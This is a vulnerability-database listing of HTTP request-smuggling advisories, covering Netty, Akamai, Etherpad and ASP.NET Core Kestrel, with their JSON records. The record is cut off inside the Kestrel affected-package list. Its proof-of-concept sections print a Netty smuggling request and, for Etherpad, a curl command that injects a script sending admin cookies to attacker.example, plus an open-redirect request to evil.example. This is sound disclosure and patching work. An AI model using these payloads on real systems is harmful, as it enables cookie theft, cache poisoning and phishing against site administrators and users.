Common Weakness Enumeration
CWE-444
AllowedInconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Abstraction: Base · Status: Incomplete
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.
715 vulnerabilities reference this CWE, most recent first.
GHSA-FGHV-69VJ-QJ49
Vulnerability from github – Published: 2025-09-04 17:35 – Updated: 2025-09-10 20:48
VLAI
Summary
Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions
Details
Summary
A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.
Details
When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).
This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):
POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0
POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).
Impact
This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.
The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization.
Disclosure
- This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html
Discussion
Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1
Credit
- Credit to @JeppW for uncovering this vulnerability.
- Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58056"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-04T17:35:20Z",
"nvd_published_at": "2025-09-03T21:15:33Z",
"severity": "LOW"
},
"details": "## Summary\nA flaw in netty\u0027s parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.",
"id": "GHSA-fghv-69vj-qj49",
"modified": "2025-09-10T20:48:05Z",
"published": "2025-09-04T17:35:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/unCVEed/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/issues/15522"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6092"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/pull/15611"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions"
}
GHSA-FHHG-8JV8-7RCW
Vulnerability from github – Published: 2026-02-23 09:31 – Updated: 2026-02-23 09:31
VLAI
Details
Akamai Ghost on Akamai CDN edge servers before 2026-02-06 mishandles processing of custom hop-by-hop HTTP headers, where an incoming request containing the header "Connection: Transfer-Encoding" could result in a forward request with invalid message framing, depending on the Akamai processing path. This could result in the origin server parsing the request body incorrectly, leading to HTTP request smuggling.
Severity
4.0 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-26365"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-23T09:17:01Z",
"severity": "MODERATE"
},
"details": "Akamai Ghost on Akamai CDN edge servers before 2026-02-06 mishandles processing of custom hop-by-hop HTTP headers, where an incoming request containing the header \"Connection: Transfer-Encoding\" could result in a forward request with invalid message framing, depending on the Akamai processing path. This could result in the origin server parsing the request body incorrectly, leading to HTTP request smuggling.",
"id": "GHSA-fhhg-8jv8-7rcw",
"modified": "2026-02-23T09:31:24Z",
"published": "2026-02-23T09:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26365"
},
{
"type": "WEB",
"url": "https://www.akamai.com/blog/security-research/cve-2026-26365-incorrect-processing-connection-transfer-encoding"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FJGC-3MJ7-8RG8
Vulnerability from github – Published: 2026-08-13 13:46 – Updated: 2026-08-13 13:46
VLAI
Summary
ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via x-proxy-path Header
Details
GHSA-03 — x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)
Severity: Medium
CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSS suggested base score: ~6.1 — Medium
(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests
Title
x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)
Description
Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:
Issue 3a — src/node/hooks/express/admin.ts (XSS, cache-poisoning)
The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/* using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:
- An attacker who can issue a request with a chosen
x-proxy-pathvalue gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML). - More seriously, any reverse proxy or CDN in front of Etherpad that caches
/admin/index.htmlkeyed on URL alone (the common case — noVarywas set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.
Issue 3b — src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)
The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:
res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);
A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/<pad> header, which browsers interpret as a protocol-relative URL — equivalent to https://evil.example/p/<pad>. Open redirect, exploitable for phishing.
Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.
Severity rationale
- AV:N / AC:L / PR:N — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.
- UI:R — victim must visit/interact with the admin UI.
- S:C — scope changes (attacker context to admin origin).
- C:L / I:L — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.
CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.
Affected versions
- Admin XSS (Issue 3a):
ep_etherpad-lite >= 2.1.0, <= 3.0.0. The unsanitisedreplaceAll("/admin", req.header(PROXY_HEADER) + ...)was present in63e9b2d"Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases throughv3.0.0carry it. - Open-redirect (Issue 3b):
ep_etherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into aLocationheader was introduced in451bd9c"scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape. - Combined fix-target range covered by the GHSA:
>= 2.1.0, <= 3.0.0.
Patched versions
ep_etherpad-lite >= 3.1.0— the fix is ondevelopHEAD as commit8c6104c. Update this field with the actual tagged release version when it ships.
Proof of concept
XSS / cache poisoning
curl -s 'https://pad.example/admin/index.html' \
-H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'
# If served by a shared cache without Vary on x-proxy-path, subsequent
# requests to /admin/index.html (from any admin) get the same poisoned
# HTML.
Open redirect
curl -i 'https://pad.example/p/foo/timeslider' \
-H 'x-proxy-path: //evil.example'
# HTTP/1.1 302 Found
# Location: //evil.example/p/foo
A browser followed against the etherpad origin treats //evil.example/p/foo as https://evil.example/p/foo.
Workarounds
- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite
x-proxy-pathfrom inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't. - For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to
/p/:pad(the in-pad PadModeController handles history mode without ever loading the standalone timeslider).
Fix
Patched in 8c6104c (PR #7784):
- Extracted
src/node/utils/sanitizeProxyPath.ts— a single shared helper used by both admin.ts and specialpages.ts. The helper: - returns
""when the header is absent; - strips characters outside
[A-Za-z0-9_./-]; - collapses a leading
//+to a single/(kills protocol-relative URLs); - prepends
/if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix); - rejects
..traversal segments. - admin.ts now emits
Vary: x-proxy-pathandCache-Control: private, no-storeon HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.
src/node/hooks/express/specialpages.ts — replace the local sanitiser with the shared one:
-const sanitizeProxyPath = (req: any): string => {
- const raw = req.header('x-proxy-path') || '';
- return raw.replace(/[^a-zA-Z0-9\-_\/\.]/g, '');
-};
+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';
src/node/hooks/express/admin.ts — sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:
if (ext === ".html" || ext === ".js" || ext === ".css") {
- if (req.header(PROXY_HEADER)) {
+ const proxyPath = sanitizeProxyPath(req);
+ if (proxyPath) {
let string = data.toString()
- dataToSend = string.replaceAll("/admin", req.header(PROXY_HEADER) + "/admin")
- dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY_HEADER) + "/socket.io")
+ dataToSend = string.replaceAll("/admin", proxyPath + "/admin")
+ dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io")
}
+ res.setHeader('Vary', 'x-proxy-path');
+ res.setHeader('Cache-Control', 'private, no-store');
}
Resources
- Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit
8c6104c). - Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.
- Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.
Credits
Reported during an internal security audit by Claude (via @JohnMcLear).
Severity
6.1 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0"
},
"package": {
"ecosystem": "npm",
"name": "ep_etherpad-lite"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55087"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-601",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-13T13:46:07Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# GHSA-03 \u2014 `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)\n\n**Severity:** Medium\n**CVSS v3.1 vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n**CVSS suggested base score:** ~6.1 \u2014 Medium\n *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment \u2014 single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)*\n**CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests\n\n## Title\n\n`x-proxy-path` request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a `/p/:pad/timeslider` redirect target (open-redirect via protocol-relative URL)\n\n## Description\n\nEtherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. `/pad/etherpad/...`). The proxy is expected to set `x-proxy-path: /pad/etherpad` on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:\n\n### Issue 3a \u2014 `src/node/hooks/express/admin.ts` (XSS, cache-poisoning)\n\nThe admin static-serving handler read `req.header(\u0027x-proxy-path\u0027)` and substituted it into the response body of every `.html`/`.js`/`.css` asset under `/admin/*` using `String.prototype.replaceAll`. The value was used **raw**, with no character filter and no `Vary` / `Cache-Control` headers on the response. Consequently:\n\n- An attacker who can issue a request with a chosen `x-proxy-path` value gets that value reflected into HTML/JS/CSS sent back to them. **Reflected XSS** on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).\n- More seriously, any reverse proxy or CDN in front of Etherpad that caches `/admin/index.html` keyed on URL alone (the common case \u2014 no `Vary` was set) will cache the poisoned response and serve it to subsequent admins. **Cache-poisoning XSS** against every admin that loads the same bundle from the same cache.\n\n### Issue 3b \u2014 `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL)\n\nThe legacy `/p/:pad/timeslider` handler (direct visits without `?embed=1`) built a redirect target as:\n\n```ts\nres.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);\n```\n\nA local `sanitizeProxyPath` helper filtered the character class but did NOT prevent values beginning with `//`. A request carrying `x-proxy-path: //evil.example` therefore produced a `Location: //evil.example/p/\u003cpad\u003e` header, which browsers interpret as a protocol-relative URL \u2014 equivalent to `https://evil.example/p/\u003cpad\u003e`. **Open redirect**, exploitable for phishing.\n\nBoth issues require the `x-proxy-path` header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.\n\n## Severity rationale\n\n- **AV:N / AC:L / PR:N** \u2014 the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.\n- **UI:R** \u2014 victim must visit/interact with the admin UI.\n- **S:C** \u2014 scope changes (attacker context to admin origin).\n- **C:L / I:L** \u2014 XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.\n\nCVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client `x-proxy-path` are not exposed.\n\n## Affected versions\n\n- **Admin XSS (Issue 3a):** `ep_etherpad-lite \u003e= 2.1.0, \u003c= 3.0.0`. The unsanitised `replaceAll(\"/admin\", req.header(PROXY_HEADER) + ...)` was present in [`63e9b2d` \"Fixed api header authorization\" (#6399)](https://github.com/ether/etherpad/commit/63e9b2d), first tagged in **v2.1.0** (2024-05-22). All releases through `v3.0.0` carry it.\n- **Open-redirect (Issue 3b):** `ep_etherpad-lite = 3.0.0`. The legacy timeslider redirect that concatenates the proxy path into a `Location` header was introduced in [`451bd9c` \"scrub history in-place on the pad URL\" (#7710)](https://github.com/ether/etherpad/commit/451bd9c) and first shipped in **v3.0.0**. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.\n- Combined fix-target range covered by the GHSA: `\u003e= 2.1.0, \u003c= 3.0.0`.\n\n## Patched versions\n\n- `ep_etherpad-lite \u003e= 3.1.0` \u2014 the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships.\n\n## Proof of concept\n\n### XSS / cache poisoning\n\n```\ncurl -s \u0027https://pad.example/admin/index.html\u0027 \\\n -H \u0027x-proxy-path: \"\u003e\u003cscript\u003efetch(\"https://attacker.example/?c=\"+document.cookie)\u003c/script\u003e\u003ci a=\"\u0027\n\n# If served by a shared cache without Vary on x-proxy-path, subsequent\n# requests to /admin/index.html (from any admin) get the same poisoned\n# HTML.\n```\n\n### Open redirect\n\n```\ncurl -i \u0027https://pad.example/p/foo/timeslider\u0027 \\\n -H \u0027x-proxy-path: //evil.example\u0027\n\n# HTTP/1.1 302 Found\n# Location: //evil.example/p/foo\n```\n\nA browser followed against the etherpad origin treats `//evil.example/p/foo` as `https://evil.example/p/foo`.\n\n## Workarounds\n\n- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite `x-proxy-path` from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don\u0027t.\n- For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to `/p/:pad` (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).\n\n## Fix\n\nPatched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)):\n\n1. Extracted `src/node/utils/sanitizeProxyPath.ts` \u2014 a single shared helper used by both admin.ts and specialpages.ts. The helper:\n - returns `\"\"` when the header is absent;\n - strips characters outside `[A-Za-z0-9_./-]`;\n - collapses a leading `//+` to a single `/` (kills protocol-relative URLs);\n - prepends `/` if the cleaned non-empty value doesn\u0027t already have one (so callers can always concatenate as an absolute prefix);\n - rejects `..` traversal segments.\n2. admin.ts now emits `Vary: x-proxy-path` and `Cache-Control: private, no-store` on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.\n\n`src/node/hooks/express/specialpages.ts` \u2014 replace the local sanitiser with the shared one:\n\n```diff\n-const sanitizeProxyPath = (req: any): string =\u003e {\n- const raw = req.header(\u0027x-proxy-path\u0027) || \u0027\u0027;\n- return raw.replace(/[^a-zA-Z0-9\\-_\\/\\.]/g, \u0027\u0027);\n-};\n+import {sanitizeProxyPath} from \u0027../../utils/sanitizeProxyPath\u0027;\n```\n\n`src/node/hooks/express/admin.ts` \u2014 sanitise the value AND emit cache-key/cache-control headers so a shared cache can\u0027t collapse responses across different proxy-path values:\n\n```diff\n if (ext === \".html\" || ext === \".js\" || ext === \".css\") {\n- if (req.header(PROXY_HEADER)) {\n+ const proxyPath = sanitizeProxyPath(req);\n+ if (proxyPath) {\n let string = data.toString()\n- dataToSend = string.replaceAll(\"/admin\", req.header(PROXY_HEADER) + \"/admin\")\n- dataToSend = dataToSend.replaceAll(\"/socket.io\", req.header(PROXY_HEADER) + \"/socket.io\")\n+ dataToSend = string.replaceAll(\"/admin\", proxyPath + \"/admin\")\n+ dataToSend = dataToSend.replaceAll(\"/socket.io\", proxyPath + \"/socket.io\")\n }\n+ res.setHeader(\u0027Vary\u0027, \u0027x-proxy-path\u0027);\n+ res.setHeader(\u0027Cache-Control\u0027, \u0027private, no-store\u0027);\n }\n```\n\n## Resources\n\n- Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit `8c6104c`).\n- Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.\n- Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.\n\n## Credits\n\nReported during an internal security audit by Claude (via @JohnMcLear).",
"id": "GHSA-fjgc-3mj7-8rg8",
"modified": "2026-08-13T13:46:08Z",
"published": "2026-08-13T13:46:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/pull/6399"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/pull/7710"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/pull/7784"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/commit/451bd9c3ebb0dded99dd0ff21811ee00e0940c29"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/commit/63e9b2d4eb303cd341022591bdf9484584db36e3"
},
{
"type": "PACKAGE",
"url": "https://github.com/ether/etherpad"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via\u00a0x-proxy-path Header"
}
GHSA-FPQ8-4VHR-RCXX
Vulnerability from github – Published: 2026-10-13 20:37 – Updated: 2026-10-19 19:18
VLAI
Summary
Microsoft Security Advisory CVE-2026-70188 - ASP.NET Core Security Feature Bypass Vulnerability
Details
Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Server.Kestrel.Core. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
Kestrel accepts newline characters in HTTP/2 request trailers and values retrieved from the dynamic HPACK table instead of treating them as malformed.
Announcement
Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/462
CVSS Details
- Version: 3.1
- Severity: Critical
- Score: 9.1
- Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness: CWE-444 (Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'))
Affected Platforms
- Platforms: Windows, Linux, macOS
- Architectures: All
Affected Packages
The vulnerability affects Microsoft .NET projects that use an affected package version listed below.
Advisory FAQ
How do I know if I am affected?
If using a package listed in affected packages, you're exposed to the vulnerability.
How do I fix the issue?
- To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
- If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the
dotnet --infocommand.
Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.
Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.
Other Information
Reporting Security Issues
If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.
Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.
Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
Disclaimer
The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
External Links
Acknowledgements
- Aayush Atharva
Revisions
V1.0 (10/13/2026): Advisory published.
Severity
9.1 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-arm"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-x64"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.osx-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.osx-x64"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
